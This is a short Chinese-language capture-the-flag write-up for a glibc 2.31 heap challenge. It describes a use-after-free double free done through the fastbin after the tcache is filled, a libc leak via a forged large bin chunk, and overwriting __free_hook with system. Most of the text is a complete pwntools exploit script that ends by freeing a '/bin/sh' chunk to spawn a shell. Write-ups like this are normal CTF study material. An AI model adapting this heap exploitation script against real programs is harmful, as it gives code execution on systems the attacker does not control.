放到ida里一看是个经典的菜单题,先进delete看看,果然有个uaf,可以double free,但是这是个2.31的题目,趁这个机会学习一下2.31的df
这里的add和edit是同时进行的,并且只能申请0x70大小的堆,这给我们带来了不小的麻烦。一开始我本来想free tca改变count的,但是libc正好吧0x80的count覆盖了,导致我申请不了堆,所以这个题只能构造larger bins
首先2.31的tca已经不能直接free 1->2->1这样df了,所以我们先把tca填满,到fastbin里进行df
泄露出heap的地址,进行df,我们把tca清空,申请堆,会使fast链进入tca中,进行tac dup,构造large bins 泄露libc,让后就是简单的malloc或者free_hook了
from pwn import *
s=process("./heap")
elf = ELF("./heap")
libc = ELF('./libc-2.31.so')
context.log_level='debug'
ru = lambda p, x : p.recvuntil(x)
sn = lambda p, x : p.send(x)
rl = lambda p : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x=1024 : p.recv(numb = x)
sa = lambda p, a, b : p.sendafter(a,b)
sla = lambda p, a, b : p.sendlineafter(a,b)
rr = lambda p, t : p.recvrepeat(t)
rd = lambda p, x : p.recvuntil(x, free=True)
def create(cont):
sa(s,'>>','1')
s.sendafter('input content: ',cont)
def free(idx):
sa(s,'>>','2')
sa(s,'index:',str(idx))
def pr(idx):
sa(s,'>>','3')
sa(s,'index: ',str(idx))
for i in range(20):
create((p64(0x420)+p64(0x21))*7)
for i in range(7):
free(i)
pr(6)
s.recvuntil("content: ")
heap = u64(s.recv(6)+"\x00\x00")-0x520
success(hex(heap))
free(7)
free(8)
free(7)
#20
for i in range(6):
create((p64(0x420)+p64(0x81))*7)
create((p64(0x420)+p64(0x81))*7)#26
create(p64(heap+0x290))#27
create(p64(heap+0x290))#28
create(p64(heap+0x290))#29
create(p64(0x421)*2)#30
free(0)
pr(0)
libc.address = u64(s.recvuntil("\x7f")[-6:]+"\x00\x00")-0x1ebbe0
success(hex(libc.address))
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
for i in range(1,8):
free(i)
free(8)
free(9)
free(8)
for i in range(7):
create('/bin/sh')
create(p64(free_hook))
create('/bin/sh')
create('/bin/sh')
# gdb.attach(s,"b *$rebase(0x157f)\nc")
create(p64(system))
free(1)
s.interactive()
这里有个pwntools的技巧,让libc.address=libc基值,之后的函数不用加上libc基值了